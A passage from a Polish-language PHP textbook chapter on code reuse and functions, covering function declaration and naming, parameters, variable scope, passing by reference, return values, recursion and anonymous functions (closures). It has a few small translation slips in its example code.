ne są nowe funkcje i dlatego używającym starszych zaleca się uaktualnienie, chociażby z powodu
zwiększonych możliwości funkcjonalnych i większej wydajności. Aby dowiedzieć się, kiedy została
dodana określona funkcja, należy sięgnąć po podręcznik elektroniczny dostępny pod adresem
www.php.net/array.
154 Część I  Stosowanie PHP

Co więcej, czasami funkcje są uznawane za przestarzałe i usuwane. W takich przypadkach może


się zdarzyć, że funkcja będzie dostępna w starszej wersji języka niż ta, która jest używana w danym
projekcie. Jeśli wywołanie funkcji powoduje wyświetlenie ostrzeżenia o zastosowaniu przestarzałej
funkcji, to należy zaktualizować kod i wykorzystać w nim alternatywną funkcję, gdyż przestarzałe
funkcje wcześniej czy później zostaną całkowicie usunięte.

Próba wywołania funkcji niezadeklarowanej w stosowanej wersji PHP da taki wynik, jak pokazany
na rysunku 5.3. Kolejnym powodem pojawienia się takiego komunikatu o błędzie może być to,
że wywoływana funkcja jest częścią rozszerzenia PHP, które nie zostało załadowane. Na przykład
jeżeli spróbujemy użyć funkcji z biblioteki gd (pozwalającej na manipulowanie obrazkami), która
nie została wcześniej zainstalowana, na ekranie wyświetlony zostanie właśnie taki komunikat.

Wielkość liter a nazwy funkcji


Warto zauważyć, że wywołania funkcji nie zwracają uwagi na wielkość liter, tak więc wywołanie
nazwa_funkcji(), Nazwa_Funkcji() lub NAZWA_FUNKCJI() da identyczny wynik. Wielkość liter
można ustawiać dowolnie, tak aby jak najłatwiejsze było odczytanie nazwy, lecz zalecane jest
konsekwentne przestrzeganie wybranej konwencji oraz zapisywanie funkcji w taki sam sposób,
w jaki uczyniono to w jej definicji. W tej książce, i w większości dokumentacji PHP, stosuje się
wyłącznie małe litery.

Należy pamiętać, że nazwy funkcji zachowują się w inny sposób niż nazwy zmiennych. W nazwach
zmiennych zwraca się uwagę na wielkość liter, tak więc $Nazwa i $nazwa to dwie różne zmienne,
ale nazwa() i Nazwa() to ta sama funkcja.

Definiowanie własnych funkcji


W poprzednich rozdziałach przedstawiliśmy wiele przykładów zastosowania niektórych funkcji
wbudowanych w PHP. Jednak źródłem prawdziwej mocy języka programowania jest możliwość
tworzenia własnych funkcji.

Funkcje wbudowane w PHP pozwalają na interakcję z plikami, używanie baz danych, tworzenie
grafiki i łączenie się z innymi serwerami. Jednak w karierze każdego programisty jest wiele sytuacji,
których twórcy języka nie przewidzieli.

Na szczęście programista nie musi ograniczać się do stosowania funkcji wbudowanych, ponieważ
może tworzyć własne funkcje wykonujące dowolne zadania. Większość kodów to mieszanka funkcji
już istniejących i tworzonych przez użytkownika. Jeżeli tworzy się blok kodu wykonujący zadanie,
które będzie ponownie wykorzystane w innych miejscach skryptu lub w innych skryptach, powinno
się zdeklarować ten blok jako funkcję.

Deklarowanie funkcji pozwala na stosowanie własnego kodu w taki sam sposób jak funkcji wbudo-
wanych. Należy po prostu wywołać własną funkcję i dostarczyć potrzebne jej parametry. Oznacza
to, że dana funkcja może być wywoływana i wykorzystywana wiele razy w jednym skrypcie.

Podstawowa struktura funkcji


Deklaracja funkcji tworzy, czyli deklaruje, nową funkcję. Deklaracja rozpoczyna się od słowa
kluczowego function, podaje nazwę funkcji, potrzebne parametry i zawiera kod, który będzie
wykonany przy każdym wywołaniu tej funkcji.
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 155

Oto deklaracja trywialnej funkcji:


function moja_funkcja() {
echo 'Moja funkcja została wywołana';
}

Powyższa deklaracja funkcji rozpoczyna się słowem function, aby czytelnicy i analizator skła-
dniowy PHP wiedzieli, że następne dane będą zdefiniowaną przez użytkownika funkcją o nazwie
moja_funkcja. Wywołuje się ją za pomocą następującego wyrażenia:
moja_funkcja();

Jak łatwo zgadnąć, wynikiem wywołania funkcji jest wyświetlenie w oknie przeglądarki tekstu:
Moja funkcja została wywołana.

Funkcje wbudowane są dostępne dla wszystkich skryptów PHP, ale funkcje zdeklarowane —
jedynie dla skryptów, w których zostały zdeklarowane. Dobrym pomysłem jest posiadanie pliku
lub zbioru plików zawierających własne funkcje. Można wtedy zastosować we wszystkich
skryptach instrukcję require(), aby funkcje stały się dostępne tam, gdzie będzie to konieczne.

Wewnątrz funkcji nawiasy klamrowe zawierają kod wykonujący żądane zadanie. Pomiędzy na-
wiasami można umieścić wszystko, co jest prawidłowe dla każdego innego miejsca w skrypcie
PHP, w tym: wywołania funkcji, deklaracje nowych zmiennych i funkcji, instrukcji require()
i include(), deklaracje klas oraz czysty HTML. Aby zakończyć skrypt i pisać zwykły HTML,
należy zastosować tę samą metodę, jak w innych miejscach skryptu — zamykający znacznik PHP,
a następnie HTML. Następujący fragment kodu jest prawidłową modyfikacją poprzedniego przy-
kładu o identycznym wyniku:
<?php
function moja_funkcja() {
?>
Moja funkcja została wywołana
<?php
}
?>

Należy zauważyć, że kod PHP jest zawarty pomiędzy pasującymi do siebie otwierającymi i zamy-
kającymi znacznikami PHP. W większości krótkich przykładowych fragmentów kodu, przed-
stawionych w tej książce, znaczniki te nie są pokazywane. Tutaj występują, ponieważ są konieczne
w przykładzie oraz przed i po nim.

Nadawanie nazwy funkcji


Przy nadawaniu nazw funkcjom należy wziąć pod uwagę przede wszystkim to, że powinny być
one krótkie, lecz znaczące. Jeżeli funkcja tworzy nagłówek strony, odpowiednimi nazwami są
naglowek(), naglowek_strony() lub wyswietl_naglowek().

Występuje tu kilka ograniczeń:


 Funkcja nie może mieć takiej samej nazwy jak już istniejąca.
 Nazwa funkcji może zawierać jedynie litery, cyfry i znaki podkreślenia.
 Nazwa funkcji nie może rozpoczynać się cyfrą.

Wiele języków programowania umożliwia ponowne stosowanie nazw funkcji. Własność ta nazywa-
na jest przeciążaniem funkcji (ang. function overloading). PHP nie pozwala jednak na przeciążanie
funkcji, tak więc funkcja nie może mieć nazwy takiej jak którakolwiek z funkcji wbudowanych
156 Część I  Stosowanie PHP

lub wcześniej zdefiniowanych. (Pewna forma przeciążania jest dostępna w klasach, które zosta-
ną opisane w rozdziale 6., „Obiektowy PHP”, niemniej jednak różni się ona od formy przeciążania
stosowanej w innych językach programowania). Należy również zwrócić uwagę na to, że cho-
ciaż każdy skrypt PHP zna wszystkie funkcje wbudowane dostępne w zasięgu globalnym, to funkcje
zdefiniowane przez użytkownika istnieją jedynie w skryptach, w których zostały zdeklarowane.
Oznacza to, że nazwa funkcji może zostać ponownie użyta w innym pliku. Działania te prowadzą
jednak do pomyłek i powinno się ich unikać.

Następujące nazwy funkcji są prawidłowe:


nazwa()
nazwa2()
nazwa_trzy()
_nazwacztery()

Poniższe zaś są nieprawidłowe:


5nazwa()
nazwa-szesc()
fopen()

(Ostatnia z nazw funkcji byłaby prawidłowa, gdyby taka funkcja nie istniała wcześniej).

Należy zwrócić uwagę, że choć $nazwa nie jest prawidłową nazwą funkcji, wywołanie funkcji
postaci
$nazwa();

może zostać wykonane zależnie od wartości zmiennej $nazwa. Wynika to z faktu, że PHP pobiera
wartość przechowywaną w $nazwa, odszukuje funkcję o właśnie takiej nazwie i próbuje ją wywołać.
Funkcja tego typu jest nazywana funkcją zmienną.

Parametry
Aby wykonywać swoją pracę, większość funkcji potrzebuje jednego parametru lub większej ich
liczby. Parametr pozwala na przekazywanie funkcji danych. Poniżej znajduje się przykład funkcji
wymagającej parametru, która pobiera tablicę jednowymiarową i wyświetla ją jako tabelę.
function stworz_tabele($dane)
{
echo '<table>';
reset($dane);
$wartosc = current($dane);
while ($wartosc) {
echo "<tr><td>$wartosc</td></tr>\n";
$wartosc = next($dane);
}
echo '</table>';
}

Jeżeli funkcja stworz_tabele() zostanie wywołana w następujący sposób:


$moja_tablica = ['Wiersz pierwszy.', 'Wiersz drugi.', 'Wiersz trzeci.'];
stworz_tabele($moja_tablica);

ukaże się wynik z rysunku 5.4.

Przekazanie parametru pozwoliło na pobranie danych stworzonych poza funkcją — w tym przy-
padku tablicy $moja_tablica — do użytku wewnątrz funkcji.
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 157

Rysunek 5.4.
Wywołanie funkcji
stworz_tabele()
generuje
taką tabelę HTML

Podobnie jak funkcje wbudowane, funkcje zdefiniowane przez użytkownika mogą mieć wiele
parametrów, w tym parametry opcjonalne. Funkcję stworz_tabele() można usprawnić na wiele
sposobów; jednym z nich jest umożliwienie użytkownikowi określenia innych atrybutów tabeli.
Poniżej została przedstawiona ulepszona wersja funkcji, wprawdzie bardzo podobna, lecz pozwala-
jąca na opcjonalne ustawienie nagłówka oraz tytułu tabeli.
function stworz_tabele($dane, $naglowek=NULL, $tytul=NULL)
{
echo '<table>';
if ($caption) {
echo "<caption>$tytul</caption>";
}
if ($header) {
echo "<tr><th>$naglowek</th></tr>";
}
reset($data);
$value = current($data);
while ($value) {
echo "<tr><td>$value</td></tr>\n";
$value = next($data);
}
echo '</table>';
}

$moje_dane = ['Wiersz pierwszy.', 'Wiersz drugi.', 'Wiersz trzeci.'];


$moj_naglowek = 'Dane';
$moj_tytul = 'Dane dotyczące czegoś tam...';
create_table($moje_dane, $moj_naglowek, $moj_tytul);

Pierwszy parametr funkcji stworz_tabele() jest ciągle wymagany. Następne dwa są opcjonalne,
ponieważ zostały dla nich zdefiniowane wartości domyślne. Wynik bardzo podobny do rysunku 5.4
można uzyskać za pomocą poniższego odwołania do stworz_tabele():
stworz_tabele($moja_tablica);

Jeżeli te same dane należy wyświetlić w tablicy bardziej rozciągniętej, można wywołać nową funk-
cję w następujący sposób:
stworz_tabele($moje_dane, 'Nagłówek tabelki');

Wartości opcjonalne nie muszą być w ogóle podawane — można na przykład wskazać część z nich.
Parametry są przypisywane od lewej do prawej strony.
158 Część I  Stosowanie PHP

Należy pamiętać, że nie można nie wpisać jednego z parametrów opcjonalnych, ograniczając się
jedynie do późniejszego. W tym przykładzie aby przekazać wartość caption, trzeba podać również
header. Jest to częsty powód błędów w programowaniu. Dlatego też parametry opcjonalne są
umieszczane na końcu listy parametrów.

Następujące wywołanie funkcji:


stworz_tabele($moje_dane, 'Chciałbym, by to był tytuł tabelki');

jest całkowicie prawidłowe i w jego wyniku zmienna $naglowek przyjmie wartość 'Chciałbym,
by to był tytuł tabelki', a zmienna $tytul przyjmie swoją wartość domyślną, czyli NULL.

Można jednak przekazać jako nagłówek wartość NULL, jak w poniższym przykładzie:
stworz_tabele($moje_dane, NULL, 'Chciałbym, by to był tytuł tabelki');

Można również deklarować funkcje przyjmujące zmienną liczbę parametrów. Liczbę parametrów
przekazanych do funkcji oraz ich wartości można sprawdzić, używając trzech funkcji pomocni-
czych: func_num_args(), func_get_arg() i func_get_args().

Rozważmy na przykład poniższą funkcję:


function zmienna_liczba_argumentow() {
echo 'Liczba parametrów: ';
echo func_num_args();

echo '<br />';


$argumenty = func_get_args();
foreach ($argumenty as $argument) {
echo $argument.'<br />';
}
}

Powyższa funkcja zwraca liczbę przekazanych do niej parametrów i wyświetla każdy z nich.
Funkcja func_num_args() zwraca liczbę przekazanych argumentów. Funkcja func_get_args()
zwraca tablicę tych argumentów. Alternatywnie można uzyskać dostęp do argumentów jeden po
drugim, również używając funkcji func_get_arg(), lecz przekazując do niej numer argumentów,
jaki ma zostać zwrócony. (Argumenty są numerowane od zera).

Zasięg
Jak można było wcześniej zauważyć, kiedy konieczne było użycie zmiennych w dołączanym
pliku, należało je po prostu zadeklarować w skrypcie przed instrukcjami require() bądź include().
Jednakże przy stosowaniu funkcji po prostu przekazywaliśmy im zmienne. Dzieje się tak m.in.
dlatego, że nie istnieje mechanizm bezpośredniego przekazywania zmiennych dołączanym plikom,
a także z tego powodu, że zasięg zmiennych zachowuje się w inny sposób w przypadku funkcji.

Zasięg zmiennej kontroluje miejsca, w których zmienna ta jest widzialna i zdatna do użytku. W róż-
nych językach programowania obowiązują odmienne zasady dotyczące zasięgów zmiennych.
W PHP są one raczej proste:
 Zmienne zadeklarowane wewnątrz funkcji posiadają zasięg od miejsca, w którym zostały
zadeklarowane, do końca funkcji. Nazywa się to zasięgiem funkcji, a zmienne są nazywane
zmiennymi lokalnymi.
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 159

 Zmienne zadeklarowane na zewnątrz funkcji mają zasięg od miejsca, w którym zostały


wywołane, do końca pliku, ale nie wewnątrz funkcji. Nazywa się to zasięgiem globalnym,
a zmienne noszą nazwę zmiennych globalnych.
 Specjalne zmienne superglobalne są widoczne zarówno wewnątrz, jak i na zewnątrz
funkcji (zobacz rozdział 1., który zawiera listę tych zmiennych).
 Stosowanie instrukcji require() i include() nie zmienia zasięgu. Jeżeli instrukcje te zostały
wywołane wewnątrz funkcji, odnosi się do niego zasięg lokalny, jeżeli na zewnątrz
funkcji — zasięg globalny.
 Słowo kluczowe global może zostać zastosowane do ręcznego przypisania globalnego
zasięgu zmiennej zdefiniowanej bądź stosowanej wewnątrz funkcji.
 Zmienne mogą być ręcznie usunięte przez wywołanie funkcji unset($nazwa_zmiennej).
Jeżeli zmienna została usunięta, nie posiada już dłużej zasięgu.

Poniższe przykłady powinny nieco doprecyzować powyższe terminy.

Przedstawiony niżej kod nie daje żadnego wyniku. Zadeklarowana tu została zmienna o nazwie
$zmienna wewnątrz funkcji fn(). Ponieważ zmienna ta została zadeklarowana wewnątrz funkcji,
posiada zasięg funkcji, a zatem istnieje jedynie od miejsca, w którym została zadeklarowana,
czyli do końca funkcji. Kiedy ponownie odwołujemy się do $zmienna poza funkcją, tworzona jest
nowa zmienna $zmienna. Posiada ona zasięg globalny i będzie widoczna do końca pliku. Niestety,
jeżeli jedynym wyrażeniem zastosowanym do nowej $zmienna jest echo, nigdy nie będzie ona
posiadać wartości.
function fn() {
$zmienna = "zawartość";
}
fn();
echo $zmienna;

W poniższym przykładzie została przedstawiona sytuacja odwrotna. Zmienna jest zadeklarowana


na zewnątrz funkcji, po czym następuje próba zastosowania jej wewnątrz niej.
<?php
function fn()
{
echo 'Wewnątrz funkcji, \$zmienna = '.$zmienna.'<br />';
$zmienna = "zawartość2";
echo 'Wewnątrz funkcji, \$zmienna = '.$zmienna.'<br />';
}
$zmienna = 1;
fn();
echo 'Na zewnątrz funkcji, \$zmienna = '.$zmienna.'<br />';

Wynik powyższego kodu będzie następujący:


Wewnątrz funkcji, $zmienna =
Wewnątrz funkcji, $zmienna = 2
Na zewnątrz funkcji, $zmienna = 1

Funkcje nie są wykonywane do czasu ich wywołania, tak więc pierwsza wykonana instrukcja to
$zmienna = 1;. Tworzy ona zmienną o nazwie $zmienna, o zasięgu globalnym i zawartości 1. Na-
stępna wykonana instrukcja to wywołanie funkcji fn(). Wiersze kodu wewnątrz funkcji wykony-
wane są po kolei. Pierwszy wiersz kodu wewnątrz funkcji odnosi się do zmiennej $zmienna. Kiedy
wiersz ten jest wykonywany, funkcja tworzy w swoim zasięgu nową zmienną o nazwie $zmienna
i wyświetla ją. W ten sposób zostaje utworzony pierwszy wiersz wyniku.
160 Część I  Stosowanie PHP

Następny wiersz kodu wewnątrz funkcji ustawia zawartość $zmienna na 2. Ponieważ dzieje się to
wewnątrz funkcji, wiersz ten zmienia wartość lokalnej, a nie globalnej wersji $zmienna. Drugi
wiersz wyniku pokazuje, że modyfikacja się powiodła.

Funkcja kończy się w tym momencie, tak więc zostaje wykonany ostatni wiersz skryptu. Ta instruk-
cja echo pokazuje, że zawartość zmiennej globalnej nie uległa zmianie.

Jeżeli zmienna utworzona wewnątrz funkcji ma posiadać zasięg globalny, można zastosować słowo
kluczowe global w następujący sposób:
function fn() {
global $zmienna;
$zmienna='zawartość';
echo 'Wewnątrz funkcji, $zmienna = '.$zmienna.'<br />';
}

fn();
echo 'Na zewnątrz funkcji, $zmienna = '.$zmienna;

W tym przykładzie zmienna $zmienna została bezpośrednio zdefiniowana jako globalna, czyli
po wywołaniu funkcji będzie widoczna również poza nią. Wynik powyższego skryptu jest
następujący:
Wewnątrz funkcji, $zmienna = zawartość
Na zewnątrz funkcji, $zmienna = zawartość

Należy zauważyć, że zmienna posiada zasięg od momentu wykonania wiersza global $zmienna;.
Funkcja mogła być zadeklarowana poniżej lub powyżej jej wywołania. (Warto zauważyć, że zasięg
funkcji jest różny od zasięgu zmiennej). Miejsce deklaracji funkcji nie ma znaczenia; ważne jest
miejsce wywołania funkcji, a więc wykonania kodu znajdującego się wewnątrz niej.

Słowa kluczowego global można również użyć na początku skryptu, kiedy zmienna jest po raz
pierwszy wywołana. W ten sposób zostaje złożona deklaracja stosowania jej w całym skrypcie.
Jest to prawdopodobnie częstsze zastosowanie słowa kluczowego global.

Z powyższych przykładów wynika, że całkowicie prawidłowe jest ponowne użycie tej samej
nazwy dla zmiennej wewnątrz i na zewnątrz funkcji bez zakłóceń pomiędzy nimi. Rozwiązanie to
ma jednak poważne wady, ponieważ bez dokładnego przeczytania kodu i przemyślenia zasięgów
inni użytkownicy mogą sądzić, że jest to jedna i ta sama zmienna.

Przekazanie przez referencję


czy przekazanie przez wartość?
Jeżeli tworzona jest funkcja o nazwie powieksz(), która służy do zwiększania wartości zmiennej,
prawidłowym może się wydawać następujący kod:
function powieksz($wartosc, $wielkosc = 1) {
$wartosc = $wartosc + $wielkosc;
}

Powyższy kod jest całkowicie bezużyteczny. Przy takiej definicji poniższy kod da błędny wynik 10.
$wartosc = 10;
powieksz ($wartosc);
echo $wartosc;
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 161

Zawartość zmiennej $wartosc nie zmieniła się. Dzieje się tak z powodu zasad zasięgów. Powyższy
kod tworzy zmienną o nazwie $wartosc, która zawiera 10, a następnie wywołuje funkcję powieksz().
Zmienna $wartosc w funkcji jest tworzona przy jej wywołaniu. Zostaje do niej dodane 1, tak więc
wartość zmiennej $wartosc wynosi 11 wewnątrz funkcji, dopóki funkcja nie zakończy się i nastąpi
powrót do wywołującego ją kodu. W tym kodzie zmienna $wartosc jest inną zmienną, o zasięgu
globalnym, w związku z czym pozostaje niezmieniona.

Jednym ze sposobów przezwyciężenia tego problemu jest zadeklarowanie $wartosc w funkcji


jako zmiennej globalnej. Oznacza to jednak, że aby skorzystać z tej funkcji, zmienna, która miała
zostać powiększona, musi nosić wyłącznie nazwę $wartosc.

Zwykły sposób wywołania parametrów funkcji nosi nazwę przekazania przez wartość. Kiedy
przekazuje się parametr, utworzona zostaje nowa zmienna zawierająca podaną wartość. Jest ona
kopią oryginału. Można ją dowolnie modyfikować, lecz wartość oryginalnej zmiennej poza funkcją
pozostaje niezmieniona. (Jest to tak naprawdę dość uproszczony opis czynności, które PHP wyko-
nuje wewnętrznie).

Jeśli niezbędne jest zmodyfikowanie wartości wewnątrz funkcji, to konieczne będzie zastosowa-
nie przekazania przez referencję. W tym przypadku, kiedy zmiennej przekazywany jest parametr,
funkcja — zamiast tworzyć nową zmienną — otrzymuje referencję (odwołanie) do oryginalnej.
Referencja ta posiada nazwę zmiennej, rozpoczynającą się od znaku dolara, i może być stosowana
w dokładnie taki sam sposób jak inna zmienna. Różnica polega na tym, że nie posiada własnej war-
tości, lecz odwołuje się do oryginału. Każda modyfikacja referencji dotyczy również oryginału.

Parametr wykorzystujący przekazanie przez referencję oznacza się poprzez umieszczenie przed
jego nazwą w definicji funkcji znaku &. Nie istnieje konieczność zmiany wywołania funkcji.

Powyższy przykład funkcji powieksz() może być zmodyfikowany tak, aby posiadał jeden parametr
przekazywany z odwołaniem i aby nadal pracował poprawnie.
function powieksz(&$wartosc, $wielkosc = 1) {
$wartosc = $wartosc + $wielkosc;
}

Powyższa funkcja naprawdę działa, a użytkownik może dowolnie nazywać zmienną przeznaczoną do
powiększenia. Jak wspomniano powyżej, z powodu niedoskonałości umysłów ludzkich niekiedy
występują problemy ze współpracą ze zmiennymi o tych samych nazwach wewnątrz i na zewnątrz
funkcji, tak więc zmiennej w głównym skrypcie zostanie nadana nowa nazwa. Następujący kod
testowy wyświetli teraz wartość 10 przed wywołaniem funkcji powieksz() i 11 po wywołaniu:
$a = 10;
echo $a.'<br />';
powieksz($a);
echo $a.'<br />';

Stosowanie słowa kluczowego return


Słowo kluczowe return kończy wykonywanie funkcji. Kiedy funkcja kończy się, czy to z powodu
wykonania wszystkich instrukcji, czy też użycia słowa kluczowego return, wykonany zostanie
następny wiersz kodu po wywołaniu funkcji.

Po wywołaniu poniższej funkcji zostanie wykonana tylko pierwsza instrukcja:


function test_return() {
echo "Ta instrukcja zostanie wykonana";
162 Część I  Stosowanie PHP

return;
echo "Ta instrukcja nigdy nie zostanie wykonana";
}

Oczywiście nie jest to zbyt użyteczne zastosowanie return. Zazwyczaj powroty z funkcji dokonują
się po spełnieniu pewnego warunku.

Warunek błędu to częsty powód użycia instrukcji return do przerwania wykonywania funkcji
przed jej właściwym końcem. Jeżeli na przykład funkcja ma za zadanie znajdować większą liczbę
z dwóch, przerwanie może nastąpić, jeśli któraś z liczb nie istnieje.
function wiekszy($x,$y) {
if ((!isset($x)) || (!isset($y))) {
echo "Ta funkcja wymaga dwóch liczb";
return;
}
if ($x>=$y) {
echo $x."<br />";
} else {
echo $y."<br />";
}
}

Wbudowana funkcja isset() pokazuje, czy dana zmienna została utworzona i obdarzona war-
tością. W powyższym kodzie wiadomość o błędzie pojawia się, jeżeli któryś z parametrów nie
ma nadanej wartości. Sprawdzenie tego dokonuje się za pomocą wyrażenia !isset(), to znaczy
„NIE isset()”, tak więc całe wyrażenie może być rozumiane jako „jeżeli x nie jest ustawione
bądź y nie jest ustawione”. Funkcja zakończy działanie, jeśli którykolwiek z tych warunków okaże
się prawdziwy.

Jeżeli instrukcja return zostanie wykonana, kolejne wiersze kodu funkcji zostaną zignorowane.
Wykonywanie programu powróci do punktu, w którym nastąpiło wywołanie funkcji. Jeżeli oba
parametry są ustawione, funkcja wyświetli większy z nich.

Wynik poniższego kodu:


$a=1;
$b=2.5;
$c=1.9;
wiekszy($a, $b);
wiekszy($c, $a);
wiekszy($d, $a);

jest następujący:
2.5
1.9
Ta funkcja wymaga dwóch liczb

Zwracanie wartości przez funkcje


Wychodzenie z funkcji nie jest jedynym powodem, dla którego stosuje się instrukcję return.
Wiele funkcji używa return do komunikacji z wywołującym je kodem. Zamiast wyświetlić wynik
porównania, funkcja wiekszy() mogła zwrócić wynik. W ten sposób kod wywołujący funkcję
mógłby dokonać wyboru sposobu prezentacji bądź zastosowania wyniku. W ten sposób działa rów-
noważna do wiekszy() wbudowana funkcja max().
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 163

Funkcja wiekszy() może zostać zapisana w następujący sposób:


function wiekszy($x, $y) {
if (!isset($x) || !isset($y)) {
return false;
} else if ($x>=$y) {
return $x;
} else {
return $y;
}
}

W powyższym kodzie zwrócona zostaje większa z dwóch wartości przekazanych funkcji. W przy-
padku błędu powinna zostać zwrócona zupełnie inna liczba. Jeżeli brakuje jednej z liczb, zwró-
cona zostanie wartość false. (Stosując takie podejście, należy tylko pamiętać, że programista
wywołujący tę funkcję musi sprawdzać typ zwracanej wartości przy użyciu operatora === aby
uzyskać pewność, że wartość false nie zostanie pomylona z 0).

Dla porównania: wbudowana funkcja max() nie zwraca nic, jeżeli brakuje obu zmiennych, a jeżeli
tylko jedna była ustawiona, zwraca tę jedną.

Poniższy kod:
$a = 1;
$b = 2.5;
$c = 1.9;
$d = NULL;
echo wiekszy($a, $b).'<br />';
echo wiekszy($c, $a).'<br />';
echo wiekszy($d, $a).'<br />';

zwróci następujący wynik:


2.5
1.9

ponieważ $d nie istnieje i wartość false wynosi NULL.

Funkcje wykonujące pewne zadanie, lecz bez konieczności zwracania wartości, często zwracają
true lub false, aby wskazać, czy ich działanie się powiodło.

Implementacja rekurencji
PHP obsługuje funkcje rekurencyjne. Funkcja rekurencyjna to taka, która wywołuje samą siebie.
Funkcje te są szczególnie przydatne przy nawigacji w dynamicznych strukturach danych, takich
jak połączone listy bądź drzewa.

Mimo to niewiele aplikacji opartych na WWW wymaga struktur danych o takiej złożoności. Dla-
tego też rekurencja ma niewiele zastosowań. W wielu przypadkach może zastąpić iterację, ponie-
waż oba te mechanizmy pozwalają na pewną powtarzalność danych. Jednak funkcje rekurencyjne
są wolniejsze i zużywają więcej pamięci niż iteracja. Należy więc stosować iterację, gdzie tylko
jest to możliwe.

Aby opis był kompletny, na listingu 5.5 przedstawiamy krótki przykład.


164 Część I  Stosowanie PHP

Listing 5.5. rekurencja.php — łatwo jest odwrócić łańcuch znaków przy użyciu rekurencji — pokazana
została również wersja iteracyjna
<?php

function odwroc_r($lancuch) {
if (strlen($lancuch)>0) {
odwroc_r(substr($lancuch, 1));
}
echo substr($lancuch, 0, 1);
return;
}

function odwroc_i($lancuch) {
for ($i=strlen($lancuch); $i>=0; --$i) {
echo substr($lancuch, $i, 1);
}
return;
}

odwroc_r('Cześć');
echo '<br />';
odwroc_i('Cześć');

?>

Na powyższym listingu zaimplementowano dwie funkcje. Obie z nich wyświetlą odwrócony łań-
cuch. Funkcja odwroc_r() jest rekurencyjna, a funkcja odwroc_i iteracyjna.

Funkcja odwroc_r pobiera jako parametr łańcuch znaków. Po jej wywołaniu przystąpi do wywoły-
wania siebie, za każdym razem przekazując łańcuch od miejsca drugiego do ostatniego. Na przykład
wywołanie:
odwroc_r('Cześć');

wywoła kilka razy samo siebie, z następującymi parametrami:


odwroc_r('ześć');
odwroc_r('eść');
odwroc_r('ść');
odwroc_r('ć');

Każde wywołanie funkcji przez siebie samą tworzy w pamięci serwera nową kopię kodu funkcji,
lecz z różnym parametrem. Kod „oszukuje”, że za każdym razem jest wywoływana inna funkcja.
Przeciwdziała to pomyłkom pomiędzy kopiami funkcji.

Z każdym wywołaniem sprawdzana jest długość przekazywanego łańcucha. Kiedy osiągnięty


zostaje jego koniec (strlen() == 0), warunek zawodzi. Ostatnia kopia funkcji (odwroc_r('ć'))
zostanie uruchomiona, a później następuje przetworzenie kolejnego wiersza kodu, to znaczy wyświe-
tlenie pierwszego znaku przekazanego łańcucha znaków, którym w tym przypadku będzie znak 'ć'.

Następnie kopia funkcji zwraca kontrolę kopii, przez którą została wywołana, to znaczy
odwroc_r('ść'). Funkcja ta wyświetli najpierw pierwszy znak łańcucha — 'ś' — po czym
kontrola przejdzie do kolejnej kopii funkcji.

Proces ten — wyświetlanie znaku i powrót do kopii nadrzędnej — trwa, dopóki kontrola nie zostanie
przekazana głównemu programowi.
Rozdział 5.  Ponowne wykorzystanie kodu i tworzenie funkcji 165

Rozwiązania rekurencyjne zdają się bardziej eleganckie, matematyczne. Jednak w większości


przypadków lepiej stosować rozwiązanie iteracyjne. Kod takiego rozwiązania jest przedstawiony
na listingu 5.5. Należy zauważyć, że nie jest on dłuższy (chociaż nie zawsze tak jest w przypadku
funkcji iteracyjnych) i wykonuje dokładnie to samo działanie. Podstawowa różnica polega na tym,
że funkcja rekurencyjna będzie tworzyła w pamięci kopie samej siebie i wielokrotne wywołania
funkcji.

Rozwiązanie rekurencyjne może zostać wybrane, kiedy jego kod jest znacznie krótszy i bardziej
elegancki niż wersja iteracyjna. W tej dziedzinie aplikacji nie zdarza się to jednak zbyt często.

Chociaż rekurencja wydaje się bardziej elegancka, programiści często zapominają o postawieniu
warunku zakończenia rekurencji. Znaczy to, że funkcja będzie się kopiowała, aż serwerowi zabrak-
nie pamięci lub zostanie przekroczony maksymalny czas wykonania, zależnie od tego, co wystąpi
szybciej.

Implementacja funkcji anonimowych (lub domknięć)


Funkcje anonimowe, nazywane także domknięciami (ang. closure), to funkcje, które nie posiadają
nazwy — co jest raczej oczywiste. Zazwyczaj są one używane jako funkcje zwrotne, czyli są prze-
kazywane do innych funkcji.

Jednym z przykładów funkcji zwrotnych jest przedstawione w rozdziale 3., „Stosowanie tablic”,
wywołanie funkcji array_walk(). Jak wiadomo, funkcja array_walk() ma następujący prototyp:
bool array_walk(array tablica, callable funkcja[, mixed daneużytkownika])

W zaprezentowanym przykładzie została zdefiniowana także funkcja, która miała być wywoływana
dla każdego elementu tablicy i która została przekazana w wywołaniu funkcji array_walk();
miała ona następującą postać:
function moj_drukuj($wartosc) {
echo "$wartosc<br />";
}
array_walk($tablica, 'moj_drukuj');

Jednak zamiast deklarować tę funkcję wcześniej, można ją także zadeklarować bezpośrednio


w wywołaniu funkcji array_walk() jako funkcję anonimową:
array_walk($tablica, function($wartosc){ echo "$wartosc <br/>"; });

Taką funkcję anonimową można też zapisać w zmiennej:


$wyswietlacz = function($wartosc){ echo "$wartosc <br/>"; };

W poniższym przykładzie zdefiniowana wcześniej funkcja zostaje wywołana przy wykorzystaniu


zmiennej $wyswietlacz. Można to zrobić w następujący sposób:
$wyswietlacz('Cześć!');

W takim przypadku wywołanie funkcji $array_walk() można zredukować do następującej postaci:


array_walk($tablica, $wyswietlacz);

Domknięcia mają także dostęp do zmiennych w zasięgu globalnym, jednak trzeba je jawnie zdefi-
niować w definicji domknięcia, używając słowa kluczowego use. Prosty przykład takiego rozwiąza-
nia został przedstawiony na listingu 5.6.
166 Część I  Stosowanie PHP

Listing 5.6. domkniecia.php — stosowanie w domknięciu zmiennej z zasięgu globalnego


<?php

$wyswietlacz = function($wartosc){ echo "$wartosc <br/>"; };

$produkty = [ 'opony' => 100,


'olej' => 10,
'świece zapłonowe' => 4 ];

$wspolczynnik = 0.20;

$przeliczenie = function(&$wartosc) use ($wspolczynnik) {


$wartosc = $wartosc * (1+$wspolczynnik);
};

array_walk($produkty, $przeliczenie);

array_walk($produkty, $wyswietlacz);

?>

W tym przykładzie modyfikowane są ceny kilku produktów ze sklepu samochodowego Janka.


Produkty te są zapisane w tablicy $produkty. W celu zmiany ich ceny zostaje zadeklarowane
domknięcie, które pobiera wartość i powiększa ją o pewną wartość procentową, określoną przy
użyciu zmiennej $wspolczynnik. Analizując definicję tego domknięcia, można zauważyć, że
używa ono słowa kluczowego use:
$przeliczenie = function(&$wartosc) use ($wspolczynnik) {

